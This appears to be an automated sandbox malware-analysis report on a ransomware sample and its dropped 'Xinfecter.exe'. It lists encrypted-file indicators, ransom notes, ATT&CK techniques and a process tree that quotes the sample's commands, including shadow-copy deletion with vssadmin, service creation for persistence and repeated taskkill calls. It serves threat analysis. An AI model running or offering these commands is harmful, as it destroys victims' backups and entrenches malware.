File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\SoftBlue\background.gif_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_High.jpg_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Common Files\microsoft shared\VSTA\8.0\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21400_.GIF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Common Files\Microsoft Shared\Stationery\Peacock.jpg	Xinfecter.exe
File opened for modification	\??\c:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png	Xinfecter.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-first-quarter_partly-cloudy.png	Xinfecter.exe
File created	\??\c:\Program Files\DVD Maker\Shared\DvdStyles\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-ui_zh_CN.jar_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\ja-JP\js\timeZones.js	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe

Drops file in Windows directory 2 IoCs

Processes:

9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe

description	ioc	process
File created	C:\Windows\SysMain.sys	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	C:\Windows\SysMain.sys	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe

Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2580 sc.exe
2664 sc.exe
2804 sc.exe
43028 sc.exe
43060 sc.exe
42784 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2580	sc.exe
2664	sc.exe
2804	sc.exe
43028	sc.exe
43060	sc.exe
42784	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 9 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

2368 timeout.exe
300 timeout.exe
40736 timeout.exe
6464 timeout.exe
42920 timeout.exe
41600 timeout.exe
69932 timeout.exe
22660 timeout.exe
47672

pid	process
2368	timeout.exe
300	timeout.exe
40736	timeout.exe
6464	timeout.exe
42920	timeout.exe
41600	timeout.exe
69932	timeout.exe
22660	timeout.exe
47672

Enumerates processes with tasklist 1 TTPs 11 IoCs

Process Discovery

T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid	process
2704	tasklist.exe
3404	tasklist.exe
20688	tasklist.exe
42496	tasklist.exe
48040
2860	tasklist.exe
8648	tasklist.exe
40064	tasklist.exe
42428	tasklist.exe
42780	tasklist.exe
43292	tasklist.exe

Gathers system information 1 TTPs 2 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exesysteminfo.exe

pid process

2948 systeminfo.exe
2116 systeminfo.exe
Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Direct Volume Access
T1006

Processes:

vssadmin.exevssadmin.exevssadmin.exe

pid process

3064 vssadmin.exe
1356 vssadmin.exe
43240 vssadmin.exe

pid	process
2948	systeminfo.exe
2116	systeminfo.exe

pid	process
3064	vssadmin.exe
1356	vssadmin.exe
43240	vssadmin.exe

Kills process with taskkill 64 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1572	taskkill.exe
2872	taskkill.exe
2856	taskkill.exe
43580	taskkill.exe
4616	taskkill.exe
12428	taskkill.exe
12604	taskkill.exe
2556	taskkill.exe
35140	taskkill.exe
43928	taskkill.exe
12548	taskkill.exe
44016	taskkill.exe
39932	taskkill.exe
2696	taskkill.exe
2516	taskkill.exe
2240	taskkill.exe
572	taskkill.exe
39848	taskkill.exe
43760	taskkill.exe
43896	taskkill.exe
39904	taskkill.exe
2212	taskkill.exe
2888	taskkill.exe
1276	taskkill.exe
1708	taskkill.exe
43820	taskkill.exe
12636	taskkill.exe
2704	taskkill.exe
13536	taskkill.exe
2912	taskkill.exe
43548	taskkill.exe
12320	taskkill.exe
12516	taskkill.exe
12576	taskkill.exe
1248	taskkill.exe
1476	taskkill.exe
1784	taskkill.exe
2896	taskkill.exe
2164	taskkill.exe
43732	taskkill.exe
43888	taskkill.exe
8180	taskkill.exe
12400	taskkill.exe
12488	taskkill.exe
2600	taskkill.exe
560	taskkill.exe
39752	taskkill.exe
2108	taskkill.exe
12340	taskkill.exe
640	taskkill.exe
43848	taskkill.exe
43988	taskkill.exe
11972	taskkill.exe
11844	taskkill.exe
3012	taskkill.exe
1804	taskkill.exe
2436	taskkill.exe
2452	taskkill.exe
2688	taskkill.exe
1552	taskkill.exe
43964	taskkill.exe
1944	taskkill.exe
2596	taskkill.exe
2900	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exemshta.exemshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

948 reg.exe
43256 reg.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

1308 schtasks.exe
43168 schtasks.exe
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

2704 tasklist.exe
2704 tasklist.exe
2860 tasklist.exe
2860 tasklist.exe
42780 tasklist.exe
42780 tasklist.exe
43292 tasklist.exe
43292 tasklist.exe

pid	process
948	reg.exe
43256	reg.exe

pid	process
1308	schtasks.exe
43168	schtasks.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

tasklist.exetasklist.exevssvc.exeWMIC.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	2704	tasklist.exe
Token: SeDebugPrivilege	2860	tasklist.exe
Token: SeBackupPrivilege	2928	vssvc.exe
Token: SeRestorePrivilege	2928	vssvc.exe
Token: SeAuditPrivilege	2928	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1080	WMIC.exe
Token: SeSecurityPrivilege	1080	WMIC.exe
Token: SeTakeOwnershipPrivilege	1080	WMIC.exe
Token: SeLoadDriverPrivilege	1080	WMIC.exe
Token: SeSystemProfilePrivilege	1080	WMIC.exe
Token: SeSystemtimePrivilege	1080	WMIC.exe
Token: SeProfSingleProcessPrivilege	1080	WMIC.exe
Token: SeIncBasePriorityPrivilege	1080	WMIC.exe
Token: SeCreatePagefilePrivilege	1080	WMIC.exe
Token: SeBackupPrivilege	1080	WMIC.exe
Token: SeRestorePrivilege	1080	WMIC.exe
Token: SeShutdownPrivilege	1080	WMIC.exe
Token: SeDebugPrivilege	1080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1080	WMIC.exe
Token: SeRemoteShutdownPrivilege	1080	WMIC.exe
Token: SeUndockPrivilege	1080	WMIC.exe
Token: SeManageVolumePrivilege	1080	WMIC.exe
Token: 33	1080	WMIC.exe
Token: 34	1080	WMIC.exe
Token: 35	1080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1080	WMIC.exe
Token: SeSecurityPrivilege	1080	WMIC.exe
Token: SeTakeOwnershipPrivilege	1080	WMIC.exe
Token: SeLoadDriverPrivilege	1080	WMIC.exe
Token: SeSystemProfilePrivilege	1080	WMIC.exe
Token: SeSystemtimePrivilege	1080	WMIC.exe
Token: SeProfSingleProcessPrivilege	1080	WMIC.exe
Token: SeIncBasePriorityPrivilege	1080	WMIC.exe
Token: SeCreatePagefilePrivilege	1080	WMIC.exe
Token: SeBackupPrivilege	1080	WMIC.exe
Token: SeRestorePrivilege	1080	WMIC.exe
Token: SeShutdownPrivilege	1080	WMIC.exe
Token: SeDebugPrivilege	1080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1080	WMIC.exe
Token: SeRemoteShutdownPrivilege	1080	WMIC.exe
Token: SeUndockPrivilege	1080	WMIC.exe
Token: SeManageVolumePrivilege	1080	WMIC.exe
Token: 33	1080	WMIC.exe
Token: 34	1080	WMIC.exe
Token: 35	1080	WMIC.exe
Token: SeDebugPrivilege	1812	taskkill.exe
Token: SeDebugPrivilege	3012	taskkill.exe
Token: SeDebugPrivilege	640	taskkill.exe
Token: SeDebugPrivilege	1804	taskkill.exe
Token: SeDebugPrivilege	1248	taskkill.exe
Token: SeDebugPrivilege	2968	taskkill.exe
Token: SeDebugPrivilege	2436	taskkill.exe
Token: SeDebugPrivilege	1944	taskkill.exe
Token: SeDebugPrivilege	2452	taskkill.exe
Token: SeDebugPrivilege	2212	taskkill.exe
Token: SeDebugPrivilege	2696	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	2704	taskkill.exe
Token: SeDebugPrivilege	2688	taskkill.exe
Token: SeDebugPrivilege	2600	taskkill.exe
Token: SeDebugPrivilege	2556	taskkill.exe
Token: SeDebugPrivilege	2516	taskkill.exe
Token: SeDebugPrivilege	2596	taskkill.exe
Token: SeDebugPrivilege	1572	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.execmd.execmd.execmd.execmd.execmd.execmd.exeWScript.exe

description	pid	process	target process
PID 2768 wrote to memory of 2992	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2992	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2992	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2992	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2992 wrote to memory of 2704	2992	cmd.exe	tasklist.exe
PID 2992 wrote to memory of 2704	2992	cmd.exe	tasklist.exe
PID 2992 wrote to memory of 2704	2992	cmd.exe	tasklist.exe
PID 2992 wrote to memory of 2704	2992	cmd.exe	tasklist.exe
PID 2992 wrote to memory of 2680	2992	cmd.exe	findstr.exe
PID 2992 wrote to memory of 2680	2992	cmd.exe	findstr.exe
PID 2992 wrote to memory of 2680	2992	cmd.exe	findstr.exe
PID 2992 wrote to memory of 2680	2992	cmd.exe	findstr.exe
PID 2768 wrote to memory of 2576	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2576	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2576	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2576	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2576 wrote to memory of 2580	2576	cmd.exe	sc.exe
PID 2576 wrote to memory of 2580	2576	cmd.exe	sc.exe
PID 2576 wrote to memory of 2580	2576	cmd.exe	sc.exe
PID 2576 wrote to memory of 2580	2576	cmd.exe	sc.exe
PID 2768 wrote to memory of 2716	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2716	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2716	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2716	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2716 wrote to memory of 2664	2716	cmd.exe	sc.exe
PID 2716 wrote to memory of 2664	2716	cmd.exe	sc.exe
PID 2716 wrote to memory of 2664	2716	cmd.exe	sc.exe
PID 2716 wrote to memory of 2664	2716	cmd.exe	sc.exe
PID 2768 wrote to memory of 1768	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 1768	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 1768	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 1768	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 1768 wrote to memory of 2804	1768	cmd.exe	sc.exe
PID 1768 wrote to memory of 2804	1768	cmd.exe	sc.exe
PID 1768 wrote to memory of 2804	1768	cmd.exe	sc.exe
PID 1768 wrote to memory of 2804	1768	cmd.exe	sc.exe
PID 2768 wrote to memory of 2556	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2556	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2556	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2556	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2584	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2584	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2584	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2584	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2584 wrote to memory of 1716	2584	cmd.exe	WScript.exe
PID 2584 wrote to memory of 1716	2584	cmd.exe	WScript.exe
PID 2584 wrote to memory of 1716	2584	cmd.exe	WScript.exe
PID 2584 wrote to memory of 1716	2584	cmd.exe	WScript.exe
PID 2768 wrote to memory of 2460	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2460	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2460	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2768 wrote to memory of 2460	2768	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe	cmd.exe
PID 2460 wrote to memory of 1308	2460	cmd.exe	schtasks.exe
PID 2460 wrote to memory of 1308	2460	cmd.exe	schtasks.exe
PID 2460 wrote to memory of 1308	2460	cmd.exe	schtasks.exe
PID 2460 wrote to memory of 1308	2460	cmd.exe	schtasks.exe
PID 1716 wrote to memory of 1856	1716	WScript.exe	cmd.exe
PID 1716 wrote to memory of 1856	1716	WScript.exe	cmd.exe
PID 1716 wrote to memory of 1856	1716	WScript.exe	cmd.exe
PID 1716 wrote to memory of 1856	1716	WScript.exe	cmd.exe
PID 1716 wrote to memory of 2536	1716	WScript.exe	cmd.exe
PID 1716 wrote to memory of 2536	1716	WScript.exe	cmd.exe
PID 1716 wrote to memory of 2536	1716	WScript.exe	cmd.exe
PID 1716 wrote to memory of 2536	1716	WScript.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
"C:\Users\Admin\AppData\Local\Temp\9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe"
1⤵
- Drops startup file
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist /v /fo csv
    3⤵
    - Enumerates processes with tasklist
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\SysWOW64\findstr.exe
    findstr /i "dcdcf"
    3⤵
    PID:2680
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\SysWOW64\sc.exe
    sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
    3⤵
    - Launches sc.exe
    PID:2580
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\SysWOW64\sc.exe
    sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:2664
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\Admin\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\SysWOW64\sc.exe
    sc create SqlBakup binPath= "C:\Documents and Settings\Admin\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:2804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:2556
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\S-8459.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /C echo C:\Users\Admin\AppData\S-6748.bat
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\S-6748.bat" "
      4⤵
      Loads dropped DLL
      PID:2536
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /v
        5⤵
        Enumerates processes with tasklist
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
    - - C:\Windows\SysWOW64\find.exe
        
        find /I /c "dcdcf"
        5⤵
        
        PID:2876
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin.exe Delete Shadows /All /Quiet
        5⤵
        Interacts with shadow copies
        
        PID:3064
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:2368
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fi "ImageName eq 9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        
        PID:3404
    - - C:\Windows\SysWOW64\find.exe
        
        find /I "9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe"
        5⤵
        
        PID:3604
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:300
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fi "ImageName eq 9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        
        PID:8648
    - - C:\Windows\SysWOW64\find.exe
        
        find /I "9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe"
        5⤵
        
        PID:66836
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:69932
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fi "ImageName eq 9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        
        PID:40064
    - - C:\Windows\SysWOW64\find.exe
        
        find /I "9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe"
        5⤵
        
        PID:40124
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:40736
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fi "ImageName eq 9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        
        PID:20688
    - - C:\Windows\SysWOW64\find.exe
        
        find /I "9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe"
        5⤵
        
        PID:5344
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:22660
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 90 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:6464
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fi "ImageName eq 9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        
        PID:42496
    - - C:\Windows\SysWOW64\find.exe
        
        find /I "9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe"
        5⤵
        
        PID:39684
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"
        5⤵
        Deletes itself
        Drops startup file
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:42512
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
        6⤵
        
        PID:42716
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /v /fo csv
        7⤵
        Enumerates processes with tasklist
        Suspicious behavior: EnumeratesProcesses
        
        PID:42780
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /i "dcdcf"
        7⤵
        
        PID:42816
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c taskkill /PID 2536" /f
        6⤵
        
        PID:42968
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /PID 2536" /f
        7⤵
        Kills process with taskkill
        
        PID:39752
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
        6⤵
        
        PID:43016
        
        C:\Windows\SysWOW64\sc.exe
        
        sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
        7⤵
        Launches sc.exe
        
        PID:43028
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
        6⤵
        
        PID:43048
        
        C:\Windows\SysWOW64\sc.exe
        
        sc create SqlBakup binPath= "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
        7⤵
        Launches sc.exe
        
        PID:43060
      - C:\Windows\SysWOW64\cmd.exe
        
